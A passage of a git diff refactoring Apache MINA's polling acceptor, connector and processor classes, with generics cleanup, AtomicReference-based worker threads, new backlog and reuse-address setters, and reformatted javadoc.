objects and the only place this happens is in - * the doUnbind() method. + * {@inheritDoc} */ - private int unregisterHandles() { - int cancelledHandles = 0; - for (;;) { - AcceptorOperationFuture future = cancelQueue.poll(); - if (future == null) { - break; - } + @Override + public final IoSession newSession(SocketAddress remoteAddress, SocketAddress localAddress) { + throw new UnsupportedOperationException(); + } - // close the channels - for (SocketAddress a : future.getLocalAddresses()) { - H handle = boundHandles.remove(a); - - if (handle == null) { - continue; - } + /** + * @return the backLog + */ + public int getBacklog() { + return backlog; + } - try { - close(handle); - wakeup(); // wake up again to trigger thread death - } catch (Throwable e) { - ExceptionMonitor.getInstance().exceptionCaught(e); - } finally { - cancelledHandles++; - } + /** + * Sets the Backlog parameter + * + * @param backlog + * the backlog variable + */ + public void setBacklog(int backlog) { + synchronized (bindLock) { + if (isActive()) { + throw new IllegalStateException("backlog can't be set while the acceptor is bound."); } - future.setDone(); + this.backlog = backlog; } + } - return cancelledHandles; + /** + * @return the flag that sets the reuseAddress information + */ + public boolean isReuseAddress() { + return reuseAddress; + } + + /** + * Set the Reuse Address flag + * + * @param reuseAddress + * The flag to set + */ + public void setReuseAddress(boolean reuseAddress) { + synchronized (bindLock) { + if (isActive()) { + throw new IllegalStateException("backlog can't be set while the acceptor is bound."); + } + + this.reuseAddress = reuseAddress; + } } /** * {@inheritDoc} */ - public final IoSession newSession(SocketAddress remoteAddress, - SocketAddress localAddress) { - throw new UnsupportedOperationException(); + @Override + public SocketSessionConfig getSessionConfig() { + return (SocketSessionConfig)sessionConfig; } } diff --git a/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingIoConnector.java b/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingIoConnector.java index c9018af05f..27865f1dd3 100644 --- a/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingIoConnector.java +++ b/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingIoConnector.java @@ -21,17 +21,20 @@ import java.net.ConnectException; import java.net.SocketAddress; +import java.nio.channels.ClosedSelectorException; import java.util.Iterator; import java.util.Queue; import java.util.concurrent.ConcurrentLinkedQueue; import java.util.concurrent.Executor; import java.util.concurrent.Executors; +import java.util.concurrent.atomic.AtomicReference; import org.apache.mina.core.RuntimeIoException; import org.apache.mina.core.filterchain.IoFilter; import org.apache.mina.core.future.ConnectFuture; import org.apache.mina.core.future.DefaultConnectFuture; import org.apache.mina.core.service.AbstractIoConnector; +import org.apache.mina.core.service.AbstractIoService; import org.apache.mina.core.service.IoConnector; import org.apache.mina.core.service.IoHandler; import org.apache.mina.core.service.IoProcessor; @@ -56,114 +59,133 @@ * provided by the subclassing implementation. * * @see NioSocketConnector for a example of implementation + * @param The type of IoHandler + * @param The type of IoSession * * @author Apache MINA Project */ -public abstract class AbstractPollingIoConnector - extends AbstractIoConnector { +public abstract class AbstractPollingIoConnector extends AbstractIoConnector { + + private final Queue connectQueue = new ConcurrentLinkedQueue<>(); + + private final Queue cancelQueue = new ConcurrentLinkedQueue<>(); + + private final IoProcessor processor; - private final Object lock = new Object(); - private final Queue connectQueue = new ConcurrentLinkedQueue(); - private final Queue cancelQueue = new ConcurrentLinkedQueue(); - private final IoProcessor processor; private final boolean createdProcessor; - private final ServiceOperationFuture disposalFuture = - new ServiceOperationFuture(); + private final ServiceOperationFuture disposalFuture = new ServiceOperationFuture(); + private volatile boolean selectable; - + /** The connector thread */ - private Connector connector; + private final AtomicReference connectorRef = new AtomicReference<>(); /** - * Constructor for {@link AbstractPollingIoConnector}. You need to provide a default - * session configuration, a class of {@link IoProcessor} which will be instantiated in a - * {@link SimpleIoProcessorPool} for better scaling in multiprocessor systems. The default - * pool size will be used. + * Constructor for {@link AbstractPollingIoConnector}. You need to provide a + * default session configuration, a class of {@link IoProcessor} which will + * be instantiated in a {@link SimpleIoProcessorPool} for better scaling in + * multiprocessor systems. The default pool size will be used. * * @see SimpleIoProcessorPool * * @param sessionConfig * the default configuration for the managed {@link IoSession} - * @param processorClass a {@link Class} of {@link IoProcessor} for the associated {@link IoSession} - * type. + * @param processorClass + * a {@link Class} of {@link IoProcessor} for the associated + * {@link IoSession} type. */ - protected AbstractPollingIoConnector(IoSessionConfig sessionConfig, Class> processorClass) { - this(sessionConfig, null, new SimpleIoProcessorPool(processorClass), true); + protected AbstractPollingIoConnector(IoSessionConfig sessionConfig, Class> processorClass) { + this(sessionConfig, null, new SimpleIoProcessorPool<>(processorClass), true); } /** - * Constructor for {@link AbstractPollingIoConnector}. You need to provide a default - * session configuration, a class of {@link IoProcessor} which will be instantiated in a - * {@link SimpleIoProcessorPool} for using multiple thread for better scaling in multiprocessor - * systems. + * Constructor for {@link AbstractPollingIoConnector}. You need to provide a + * default session configuration, a class of {@link IoProcessor} which will + * be instantiated in a {@link SimpleIoProcessorPool} for using multiple + * thread for better scaling in multiprocessor systems. * * @see SimpleIoProcessorPool * * @param sessionConfig * the default configuration for the managed {@link IoSession} - * @param processorClass a {@link Class} of {@link IoProcessor} for the associated {@link IoSession} - * type. - * @param processorCount the amount of processor to instantiate for the pool + * @param processorClass + * a {@link Class} of {@link IoProcessor} for the associated + * {@link IoSession} type. + * @param processorCount + * the amount of processor to instantiate for the pool */ - protected AbstractPollingIoConnector(IoSessionConfig sessionConfig, Class> processorClass, int processorCount) { - this(sessionConfig, null, new SimpleIoProcessorPool(processorClass, processorCount), true); + protected AbstractPollingIoConnector(IoSessionConfig sessionConfig, Class> processorClass, + int processorCount) { + this(sessionConfig, null, new SimpleIoProcessorPool<>(processorClass, processorCount), true); } /** - * Constructor for {@link AbstractPollingIoConnector}. You need to provide a default - * session configuration, a default {@link Executor} will be created using - * {@link Executors#newCachedThreadPool()}. + * Constructor for {@link AbstractPollingIoConnector}. You need to provide a + * default session configuration, a default {@link Executor} will be created + * using {@link Executors#newCachedThreadPool()}. * - * {@see AbstractIoService#AbstractIoService(IoSessionConfig, Executor)} + * @see AbstractIoService#AbstractIoService(IoSessionConfig, Executor) * * @param sessionConfig * the default configuration for the managed {@link IoSession} - * @param processor the {@link IoProcessor} for processing the {@link IoSession} of this transport, triggering - * events to the bound {@link IoHandler} and processing the chains of {@link IoFilter} + * @param processor + * the {@link IoProcessor} for processing the {@link IoSession} + * of this transport, triggering events to the bound + * {@link IoHandler} and processing the chains of + * {@link IoFilter} */ - protected AbstractPollingIoConnector(IoSessionConfig sessionConfig, IoProcessor processor) { + protected AbstractPollingIoConnector(IoSessionConfig sessionConfig, IoProcessor processor) { this(sessionConfig, null, processor, false); } /** - * Constructor for {@link AbstractPollingIoConnector}. You need to provide a default - * session configuration and an {@link Executor} for handling I/O events. If - * null {@link Executor} is provided, a default one will be created using - * {@link Executors#newCachedThreadPool()}. + * Constructor for {@link AbstractPollingIoConnector}. You need to provide a + * default session configuration and an {@link Executor} for handling I/O + * events. If null {@link Executor} is provided, a default one will be + * created using {@link Executors#newCachedThreadPool()}. * - * {@see AbstractIoService#AbstractIoService(IoSessionConfig, Executor)} + * @see AbstractIoService#AbstractIoService(IoSessionConfig, Executor) * * @param sessionConfig * the default configuration for the managed {@link IoSession} * @param executor - * the {@link Executor} used for handling asynchronous execution of I/O - * events. Can be null. - * @param processor the {@link IoProcessor} for processing the {@link IoSession} of this transport, triggering - * events to the bound {@link IoHandler} and processing the chains of {@link IoFilter} + * the {@link Executor} used for handling asynchronous execution + * of I/O events. Can be null. + * @param processor + * the {@link IoProcessor} for processing the {@link IoSession} + * of this transport, triggering events to the bound + * {@link IoHandler} and processing the chains of + * {@link IoFilter} */ - protected AbstractPollingIoConnector(IoSessionConfig sessionConfig, Executor executor, IoProcessor processor) { + protected AbstractPollingIoConnector(IoSessionConfig sessionConfig, Executor executor, IoProcessor processor) { this(sessionConfig, executor, processor, false); } /** - * Constructor for {@link AbstractPollingIoAcceptor}. You need to provide a default - * session configuration and an {@link Executor} for handling I/O events. If - * null {@link Executor} is provided, a default one will be created using - * {@link Executors#newCachedThreadPool()}. + * Constructor for {@link AbstractPollingIoAcceptor}. You need to provide a + * default session configuration and an {@link Executor} for handling I/O + * events. If null {@link Executor} is provided, a default one will be + * created using {@link Executors#newCachedThreadPool()}. * - * {@see AbstractIoService#AbstractIoService(IoSessionConfig, Executor)} + * @see AbstractIoService#AbstractIoService(IoSessionConfig, Executor) * * @param sessionConfig * the default configuration for the managed {@link IoSession} * @param executor - * the {@link Executor} used for handling asynchronous execution of I/O - * events. Can be null. - * @param processor the {@link IoProcessor} for processing the {@link IoSession} of this transport, triggering - * events to the bound {@link IoHandler} and processing the chains of {@link IoFilter} - * @param createdProcessor tagging the processor as automatically created, so it will be automatically disposed + * the {@link Executor} used for handling asynchronous execution + * of I/O events. Can be null. + * @param processor + * the {@link IoProcessor} for processing the {@link IoSession} + * of this transport, triggering events to the bound + * {@link IoHandler} and processing the chains of + * {@link IoFilter} + * @param createdProcessor + * tagging the processor as automatically created, so it will be + * automatically disposed */ - private AbstractPollingIoConnector(IoSessionConfig sessionConfig, Executor executor, IoProcessor processor, boolean createdProcessor) { + private AbstractPollingIoConnector(IoSessionConfig sessionConfig, Executor executor, IoProcessor processor, + boolean createdProcessor) { super(sessionConfig, executor); if (processor == null) { @@ -176,7 +198,7 @@ private AbstractPollingIoConnector(IoSessionConfig sessionConfig, Executor execu try { init(); selectable = true; - } catch (RuntimeException e){ + } catch (RuntimeException e) { throw e; } catch (Exception e) { throw new RuntimeIoException("Failed to initialize.", e); @@ -193,104 +215,135 @@ private AbstractPollingIoConnector(IoSessionConfig sessionConfig, Executor execu /** * Initialize the polling system, will be called at construction time. - * @throws Exception any exception thrown by the underlying system calls + * + * @throws Exception + * any exception thrown by the underlying system calls */ protected abstract void init() throws Exception; /** * Destroy the polling system, will be called when this {@link IoConnector} - * implementation will be disposed. - * @throws Exception any exception thrown by the underlying systems calls + * implementation will be disposed. + * + * @throws Exception + * any exception thrown by the underlying systems calls */ protected abstract void destroy() throws Exception; - + /** * Create a new client socket handle from a local {@link SocketAddress} - * @param localAddress the socket address for binding the new client socket - * @return a new client socket handle - * @throws Exception any exception thrown by the underlying systems calls + * + * @param localAddress + * the socket address for binding the new client socket + * @return a new client socket handle + * @throws Exception + * any exception thrown by the underlying systems calls */ protected abstract H newHandle(SocketAddress localAddress) throws Exception; - + /** - * Connect a newly created client socket handle to a remote {@link SocketAddress}. - * This operation is non-blocking, so at end of the call the socket can be still in connection - * process. + * Connect a newly created client socket handle to a remote + * {@link SocketAddress}. This operation is non-blocking, so at end of the + * call the socket can be still in connection process. + * * @param handle the client socket handle * @param remoteAddress the remote address where to connect - * @return true if a connection was established, false if this client socket - * is in non-blocking mode and the connection operation is in progress - * @throws Exception + * @return true if a connection was established, false if + * this client socket is in non-blocking mode and the connection + * operation is in progress + * @throws Exception If the connect failed */ protected abstract boolean connect(H handle, SocketAddress remoteAddress) throws Exception; - + /** - * Finish the connection process of a client socket after it was marked as ready to process - * by the {@link #select(int)} call. The socket will be connected or reported as connection - * failed. - * @param handle the client socket handle to finsh to connect + * Finish the connection process of a client socket after it was marked as + * ready to process by the {@link #select(int)} call. The socket will be + * connected or reported as connection failed. + * + * @param handle + * the client socket handle to finish to connect * @return true if the socket is connected - * @throws Exception any exception thrown by the underlying systems calls + * @throws Exception + * any exception thrown by the underlying systems calls */ protected abstract boolean finishConnect(H handle) throws Exception; - + /** * Create a new {@link IoSession} from a connected socket client handle. - * Will assign the created {@link IoSession} to the given {@link IoProcessor} for - * managing future I/O events. - * @param processor the processor in charge of this session - * @param handle the newly connected client socket handle + * Will assign the created {@link IoSession} to the given + * {@link IoProcessor} for managing future I/O events. + * + * @param processor + * the processor in charge of this session + * @param handle + * the newly connected client socket handle * @return a new {@link IoSession} - * @throws Exception any exception thrown by the underlying systems calls + * @throws Exception + * any exception thrown by the underlying systems calls */ - protected abstract T newSession(IoProcessor processor, H handle) throws Exception; + protected abstract S newSession(IoProcessor processor, H handle) throws Exception; /** * Close a client socket. - * @param handle the client socket - * @throws Exception any exception thrown by the underlying systems calls + * + * @param handle + * the client socket + * @throws Exception + * any exception thrown by the underlying systems calls */ protected abstract void close(H handle) throws Exception; - + /** - * Interrupt the {@link #select()} method. Used when the poll set need to be modified. + * Interrupt the {@link #select(int)} method. Used when the poll set need to + * be modified. */ protected abstract void wakeup(); - + /** - * Check for connected sockets, interrupt when at least a connection is processed (connected or - * failed to connect). All the client socket descriptors processed need to be returned by - * {@link #selectedHandles()} + * Check for connected sockets, interrupt when at least a connection is + * processed (connected or failed to connect). All the client socket + * descriptors processed need to be returned by {@link #selectedHandles()} + * + * @param timeout The timeout for the select() method * @return The number of socket having received some data * @throws Exception any exception thrown by the underlying systems calls */ protected abstract int select(int timeout) throws Exception; - + /** - * {@link Iterator} for the set of client sockets found connected or - * failed to connect during the last {@link #select()} call. + * {@link Iterator} for the set of client sockets found connected or failed + * to connect during the last {@link #select(int)} call. + * * @return the list of client socket handles to process */ protected abstract Iterator selectedHandles(); - + /** * {@link Iterator} for all the client sockets polled for connection. + * * @return the list of client sockets currently polled for connection */ protected abstract Iterator allHandles(); - + /** * Register a new client socket for connection, add it to connection polling - * @param handle client socket handle - * @param request the associated {@link ConnectionRequest} - * @throws Exception any exception thrown by the underlying systems calls + * + * @param handle + * client socket handle + * @param request + * the associated {@link ConnectionRequest} + * @throws Exception + * any exception thrown by the underlying systems calls */ protected abstract void register(H handle, ConnectionRequest request) throws Exception; - + /** * get the {@link ConnectionRequest} for a given client socket handle - * @param handle the socket client handle - * @return the connection request if the socket is connecting otherwise null + * + * @param handle + * the socket client handle + * @return the connection request if the socket is connecting otherwise + * null */ protected abstract ConnectionRequest getConnectionRequest(H handle); @@ -308,8 +361,7 @@ protected final void dispose0() throws Exception { */ @Override @SuppressWarnings("unchecked") - protected final ConnectFuture connect0( - SocketAddress remoteAddress, SocketAddress localAddress, + protected final ConnectFuture connect0(SocketAddress remoteAddress, SocketAddress localAddress, IoSessionInitializer sessionInitializer) { H handle = null; boolean success = false; @@ -317,7 +369,7 @@ protected final ConnectFuture connect0( handle = newHandle(localAddress); if (connect(handle, remoteAddress)) { ConnectFuture future = new DefaultConnectFuture(); - T session = newSession(processor, handle); + S session = newSession(processor, handle); initSession(session, future, sessionInitializer); // Forward the remaining process to the IoProcessor. session.getProcessor().add(session); @@ -352,126 +404,54 @@ private void startupWorker() { cancelQueue.clear(); } - synchronized (lock) { - if (connector == null) { - connector = new Connector(); - executeWorker(connector); - } - } - } - - private int registerNew() { - int nHandles = 0; - for (; ;) { - ConnectionRequest req = connectQueue.poll(); - if (req == null) { - break; - } - - H handle = req.handle; - try { - register(handle, req); - nHandles ++; - } catch (Exception e) { - req.setException(e); - try { - close(handle); - } catch (Exception e2) { - ExceptionMonitor.getInstance().exceptionCaught(e2); - } - } - } - return nHandles; - } - - private int cancelKeys() { - int nHandles = 0; - for (; ;) { - ConnectionRequest req = cancelQueue.poll(); - if (req == null) { - break; - } - - H handle = req.handle; - try { - close(handle); - } catch (Exception e) { - ExceptionMonitor.getInstance().exceptionCaught(e); - } finally { - nHandles ++; - } - } - return nHandles; - } - - /** - * Process the incoming connections, creating a new session for each - * valid connection. - */ - private int processConnections(Iterator handlers) { - int nHandles = 0; - - // Loop on each connection request - while (handlers.hasNext()) { - H handle = handlers.next(); - handlers.remove(); - - ConnectionRequest connectionRequest = getConnectionRequest(handle); - - if ( connectionRequest == null) { - continue; - } - - boolean success = false; - try { - if (finishConnect(handle)) { - T session = newSession(processor, handle); - initSession(session, connectionRequest, connectionRequest.getSessionInitializer()); - // Forward the remaining process to the IoProcessor. - session.getProcessor().add(session); - nHandles ++; - } - success = true; - } catch (Throwable e) { - connectionRequest.setException(e); - } finally { - if (!success) { - // The connection failed, we have to cancel it. - cancelQueue.offer(connectionRequest); - } - } - } - return nHandles; - } - - private void processTimedOutSessions(Iterator handles) { - long currentTime = System.currentTimeMillis(); + Connector connector = connectorRef.get(); - while (handles.hasNext()) { - H handle = handles.next(); - ConnectionRequest connectionRequest = getConnectionRequest(handle); + if (connector == null) { + connector = new Connector(); - if ((connectionRequest != null) && (currentTime >= connectionRequest.deadline)) { - connectionRequest.setException( - new ConnectException("Connection timed out.")); - cancelQueue.offer(connectionRequest); + if (connectorRef.compareAndSet(null, connector)) { + executeWorker(connector); } } } private class Connector implements Runnable { - + /** + * {@inheritDoc} + */ + @Override public void run() { + assert connectorRef.get() == this; + int nHandles = 0; + while (selectable) { try { // the timeout for select shall be smaller of the connect // timeout or 1 second... - int timeout = (int)Math.min(getConnectTimeoutMillis(), 1000L); + int timeout = (int) Math.min(getConnectTimeoutMillis(), 1000L); int selected = select(timeout); nHandles += registerNew(); + // get a chance to get out of the connector loop, if we + // don't have any more handles + if (nHandles == 0) { + connectorRef.set(null); + + if (connectQueue.isEmpty()) { + assert connectorRef.get() != this; + break; + } + + if (!connectorRef.compareAndSet(null, this)) { + assert connectorRef.get() != this; + break; + } + + assert connectorRef.get() == this; + } + if (selected > 0) { nHandles -= processConnections(selectedHandles()); } @@ -479,16 +459,11 @@ public void run() { processTimedOutSessions(allHandles()); nHandles -= cancelKeys(); - - if (nHandles == 0) { - synchronized (lock) { - if (connectQueue.isEmpty()) { - connector = null; - break; - } - } - } - } catch (Throwable e) { + } catch (ClosedSelectorException cse) { + // If the selector has been closed, we can exit the loop + ExceptionMonitor.getInstance().exceptionCaught(cse); + break; + } catch (Exception e) { ExceptionMonitor.getInstance().exceptionCaught(e); try { @@ -520,44 +495,185 @@ public void run() { } } } + + private int registerNew() { + int nHandles = 0; + for (;;) { + ConnectionRequest req = connectQueue.poll(); + if (req == null) { + break; + } + + H handle = req.handle; + try { + register(handle, req); + nHandles++; + } catch (Exception e) { + req.setException(e); + try { + close(handle); + } catch (Exception e2) { + ExceptionMonitor.getInstance().exceptionCaught(e2); + } + } + } + return nHandles; + } + + private int cancelKeys() { + int nHandles = 0; + + for (;;) { + ConnectionRequest req = cancelQueue.poll(); + + if (req == null) { + break; + } + + H handle = req.handle; + + try { + close(handle); + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); + } finally { + nHandles++; + } + } + + if (nHandles > 0) { + wakeup(); + } + + return nHandles; + } + + /** + * Process the incoming connections, creating a new session for each valid + * connection. + */ + private int processConnections(Iterator handlers) { + int nHandles = 0; + + // Loop on each connection request + while (handlers.hasNext()) { + H handle = handlers.next(); + handlers.remove(); + + ConnectionRequest connectionRequest = getConnectionRequest(handle); + + if (connectionRequest == null) { + continue; + } + + boolean success = false; + try { + if (finishConnect(handle)) { + S session = newSession(processor, handle); + initSession(session, connectionRequest, connectionRequest.getSessionInitializer()); + // Forward the remaining process to the IoProcessor. + session.getProcessor().add(session); + nHandles++; + } + success = true; + } catch (Exception e) { + connectionRequest.setException(e); + } finally { + if (!success) { + // The connection failed, we have to cancel it. + cancelQueue.offer(connectionRequest); + } + } + } + return nHandles; + } + + private void processTimedOutSessions(Iterator handles) { + long currentTime = System.currentTimeMillis(); + + while (handles.hasNext()) { + H handle = handles.next(); + ConnectionRequest connectionRequest = getConnectionRequest(handle); + + if ((connectionRequest != null) && (currentTime >= connectionRequest.deadline)) { + connectionRequest.setException(new ConnectException("Connection timed out.")); + cancelQueue.offer(connectionRequest); + } + } + } } + /** + * A ConnectionRequest's Iouture + */ public final class ConnectionRequest extends DefaultConnectFuture { + /** The handle associated with this connection request */ private final H handle; + + /** The time up to this connection request will be valid */ private final long deadline; + + /** The callback to call when the session is initialized */ private final IoSessionInitializer sessionInitializer; + /** + * Creates a new ConnectionRequest instance + * + * @param handle The IoHander + * @param callback The IoFuture callback + */ public ConnectionRequest(H handle, IoSessionInitializer callback) { this.handle = handle; long timeout = getConnectTimeoutMillis(); + if (timeout <= 0L) { this.deadline = Long.MAX_VALUE; } else { this.deadline = System.currentTimeMillis() + timeout; } + this.sessionInitializer = callback; } + /** + * @return The IoHandler instance + */ public H getHandle() { return handle; } + /** + * @return The connection deadline + */ public long getDeadline() { return deadline; } + /** + * @return The session initializer callback + */ public IoSessionInitializer getSessionInitializer() { return sessionInitializer; } + /** + * {@inheritDoc} + */ @Override - public void cancel() { - if ( !isDone() ) { - super.cancel(); - cancelQueue.add(this); - startupWorker(); - wakeup(); + public boolean cancel() { + if (!isDone()) { + boolean justCancelled = super.cancel(); + + // We haven't cancelled the request before, so add the future + // in the cancel queue. + if (justCancelled) { + cancelQueue.add(this); + startupWorker(); + wakeup(); + } } + + return true; } } } diff --git a/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingIoProcessor.java b/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingIoProcessor.java index 300bbd7fb8..c905daa997 100644 --- a/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingIoProcessor.java +++ b/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingIoProcessor.java @@ -21,16 +21,17 @@ import java.io.IOException; import java.net.PortUnreachableException; +import java.nio.channels.ClosedSelectorException; import java.util.ArrayList; import java.util.Iterator; import java.util.List; -import java.util.Map; import java.util.Queue; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentLinkedQueue; import java.util.concurrent.Executor; import java.util.concurrent.atomic.AtomicBoolean; import java.util.concurrent.atomic.AtomicInteger; +import java.util.concurrent.atomic.AtomicReference; import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.file.FileRegion; @@ -60,19 +61,13 @@ * operation is possible. * * @author Apache MINA Project + * + * @param + * the type of the {@link IoSession} this processor can handle */ -public abstract class AbstractPollingIoProcessor - implements IoProcessor { +public abstract class AbstractPollingIoProcessor implements IoProcessor { /** A logger for this class */ - private final static Logger LOG = LoggerFactory.getLogger(IoProcessor.class); - - /** - * The maximum loop count for a write operation until - * {@link #write(AbstractIoSession, IoBuffer, int)} returns non-zero value. - * It is similar to what a spin lock is for in concurrency programming. It - * improves memory utilization and write throughput significantly. - */ - private static final int WRITE_SPIN_COUNT = 256; + private static final Logger LOG = LoggerFactory.getLogger(IoProcessor.class); /** * A timeout used for the select, as we need to get out to deal with idle @@ -81,10 +76,7 @@ public abstract class AbstractPollingIoProcessor private static final long SELECT_TIMEOUT = 1000L; /** A map containing the last Thread ID for each class */ - private static final Map, AtomicInteger> threadIds = new ConcurrentHashMap, AtomicInteger>(); - - /** A lock used to protect the processor creation */ - private final Object lock = new Object(); + private static final ConcurrentHashMap, AtomicInteger> threadIds = new ConcurrentHashMap<>(); /** This IoProcessor instance name */ private final String threadName; @@ -93,22 +85,22 @@ public abstract class AbstractPollingIoProcessor private final Executor executor; /** A Session queue containing the newly created sessions */ - private final Queue newSessions = new ConcurrentLinkedQueue(); + private final Queue newSessions = new ConcurrentLinkedQueue<>(); /** A queue used to store the sessions to be removed */ - private final Queue removingSessions = new ConcurrentLinkedQueue(); + private final Queue removingSessions = new ConcurrentLinkedQueue<>(); /** A queue used to store the sessions to be flushed */ - private final Queue flushingSessions = new ConcurrentLinkedQueue(); + private final Queue flushingSessions = new ConcurrentLinkedQueue<>(); /** * A queue used to store the sessions which have a trafficControl to be * updated */ - private final Queue trafficControllingSessions = new ConcurrentLinkedQueue(); + private final Queue trafficControllingSessions = new ConcurrentLinkedQueue<>(); /** The processor thread : it handles the incoming messages */ - private Processor processor; + private final AtomicReference processorRef = new AtomicReference<>(); private long lastIdleCheckTime; @@ -150,23 +142,13 @@ private String nextThreadName() { Class cls = getClass(); int newThreadId; - // We synchronize this block to avoid a concurrent access to - // the actomicInteger (it can be modified by another thread, while - // being seen as null by another thread) - synchronized (threadIds) { - // Get the current ID associated to this class' name - AtomicInteger threadId = threadIds.get(cls); - - if (threadId == null) { - // We never have seen this class before, just create a - // new ID starting at 1 for it, and associate this ID - // with the class name in the map. - newThreadId = 1; - threadIds.put(cls, new AtomicInteger(newThreadId)); - } else { - // Just increment the lat ID, and get it. - newThreadId = threadId.incrementAndGet(); - } + AtomicInteger threadId = threadIds.putIfAbsent(cls, new AtomicInteger(1)); + + if (threadId == null) { + newThreadId = 1; + } else { + // Just increment the last ID, and get it. + newThreadId = threadId.incrementAndGet(); } // Now we can compute the name for this thread @@ -176,6 +158,7 @@ private String nextThreadName() { /** * {@inheritDoc} */ + @Override public final boolean isDisposing() { return disposing; } @@ -183,6 +166,7 @@ public final boolean isDisposing() { /** * {@inheritDoc} */ + @Override public final boolean isDisposed() { return disposed; } @@ -190,16 +174,15 @@ public final boolean isDisposed() { /** * {@inheritDoc} */ + @Override public final void dispose() { - if (disposed) { + if (disposed || disposing) { return; } synchronized (disposalLock) { - if (!disposing) { - disposing = true; - startupProcessor(); - } + disposing = true; + startupProcessor(); } disposalFuture.awaitUninterruptibly(); @@ -208,12 +191,13 @@ public final void dispose() { /** * Dispose the resources used by this {@link IoProcessor} for polling the - * client connections + * client connections. The implementing class doDispose method will be + * called. * * @throws Exception * if some low level IO error occurs */ - protected abstract void dispose0() throws Exception; + protected abstract void doDispose() throws Exception; /** * poll those sessions for the given timeout @@ -239,12 +223,13 @@ public final void dispose() { * Say if the list of {@link IoSession} polled by this {@link IoProcessor} * is empty * - * @return true if at least a session is managed by this {@link IoProcessor} + * @return true if at least a session is managed by this + * {@link IoProcessor} */ protected abstract boolean isSelectorEmpty(); /** - * Interrupt the {@link AbstractPollingIoProcessor#select(int) call. + * Interrupt the {@link #select(long)} call. */ protected abstract void wakeup(); @@ -254,89 +239,101 @@ public final void dispose() { * * @return {@link Iterator} of {@link IoSession} */ - protected abstract Iterator allSessions(); + protected abstract Iterator allSessions(); + + /** + * Get the number of {@link IoSession} polled by this {@link IoProcessor} + * + * @return the number of sessions attached to this {@link IoProcessor} + */ + protected abstract int allSessionsCount(); /** - * Get an {@link Iterator} for the list of {@link IoSession} found selected - * by the last call of {@link AbstractPollingIoProcessor#select(int) + * Get an {@link Iterator} for the list of {@link IoSession} found selected + * by the last call of {@link #select(long)} + * * @return {@link Iterator} of {@link IoSession} read for I/Os operation */ - protected abstract Iterator selectedSessions(); + protected abstract Iterator selectedSessions(); /** - * Get the state of a session (preparing, open, closed) + * Get the state of a session (One of OPENING, OPEN, CLOSING) * * @param session * the {@link IoSession} to inspect * @return the state of the session */ - protected abstract SessionState getState(T session); + protected abstract SessionState getState(S session); /** - * Is the session ready for writing + * Tells if the session ready for writing * * @param session - * the session queried - * @return true is ready, false if not ready + * the queried session + * @return true is ready, false if not ready */ - protected abstract boolean isWritable(T session); + protected abstract boolean isWritable(S session); /** - * Is the session ready for reading + * Tells if the session ready for reading * * @param session - * the session queried - * @return true is ready, false if not ready + * the queried session + * @return true is ready, false if not ready */ - protected abstract boolean isReadable(T session); + protected abstract boolean isReadable(S session); /** - * register a session for writing + * Set the session to be informed when a write event should be processed * * @param session - * the session registered + * the session for which we want to be interested in write events * @param isInterested - * true for registering, false for removing + * true for registering, false for removing + * @throws Exception + * If there was a problem while registering the session */ - protected abstract void setInterestedInWrite(T session, boolean isInterested) - throws Exception; + protected abstract void setInterestedInWrite(S session, boolean isInterested) throws Exception; /** - * register a session for reading + * Set the session to be informed when a read event should be processed * * @param session - * the session registered + * the session for which we want to be interested in read events * @param isInterested - * true for registering, false for removing + * true for registering, false for removing + * @throws Exception + * If there was a problem while registering the session */ - protected abstract void setInterestedInRead(T session, boolean isInterested) - throws Exception; + protected abstract void setInterestedInRead(S session, boolean isInterested) throws Exception; /** - * is this session registered for reading + * Tells if this session is registered for reading * * @param session - * the session queried - * @return true is registered for reading + * the queried session + * @return true is registered for reading */ - protected abstract boolean isInterestedInRead(T session); + protected abstract boolean isInterestedInRead(S session); /** - * is this session registered for writing + * Tells if this session is registered for writing * * @param session - * the session queried - * @return true is registered for writing + * the queried session + * @return true is registered for writing */ - protected abstract boolean isInterestedInWrite(T session); + protected abstract boolean isInterestedInWrite(S session); /** * Initialize the polling of a session. Add it to the polling process. * - * @param session the {@link IoSession} to add to the polling - * @throws Exception any exception thrown by the underlying system calls + * @param session + * the {@link IoSession} to add to the polling + * @throws Exception + * any exception thrown by the underlying system calls */ - protected abstract void init(T session) throws Exception; + protected abstract void init(S session) throws Exception; /** * Destroy the underlying client socket handle @@ -346,7 +343,7 @@ protected abstract void setInterestedInRead(T session, boolean isInterested) * @throws Exception * any exception thrown by the underlying system calls */ - protected abstract void destroy(T session) throws Exception; + protected abstract void destroy(S session) throws Exception; /** * Reads a sequence of bytes from a {@link IoSession} into the given @@ -360,7 +357,7 @@ protected abstract void setInterestedInRead(T session, boolean isInterested) * @throws Exception * any exception thrown by the underlying system calls */ - protected abstract int read(T session, IoBuffer buf) throws Exception; + protected abstract int read(S session, IoBuffer buf) throws Exception; /** * Write a sequence of bytes to a {@link IoSession}, means to be called when @@ -374,11 +371,10 @@ protected abstract void setInterestedInRead(T session, boolean isInterested) * the number of bytes to write can be superior to the number of * bytes remaining in the buffer * @return the number of byte written - * @throws Exception + * @throws IOException * any exception thrown by the underlying system calls */ - protected abstract int write(T session, IoBuffer buf, int length) - throws Exception; + protected abstract int write(S session, IoBuffer buf, int length) throws IOException; /** * Write a part of a file to a {@link IoSession}, if the underlying API @@ -396,14 +392,14 @@ protected abstract int write(T session, IoBuffer buf, int length) * @throws Exception * any exception thrown by the underlying system calls */ - protected abstract int transferFile(T session, FileRegion region, int length) - throws Exception; + protected abstract int transferFile(S session, FileRegion region, int length) throws Exception; /** * {@inheritDoc} */ - public final void add(T session) { - if (isDisposing()) { + @Override + public final void add(S session) { + if (disposed || disposing) { throw new IllegalStateException("Already disposed."); } @@ -415,39 +411,54 @@ public final void add(T session) { /** * {@inheritDoc} */ - public final void remove(T session) { + @Override + public final void remove(S session) { + //LOG.debug( "Session {} has to be removed", session ); scheduleRemove(session); startupProcessor(); } - private void scheduleRemove(T session) { - removingSessions.add(session); + private void scheduleRemove(S session) { + //LOG.debug( "Session {} 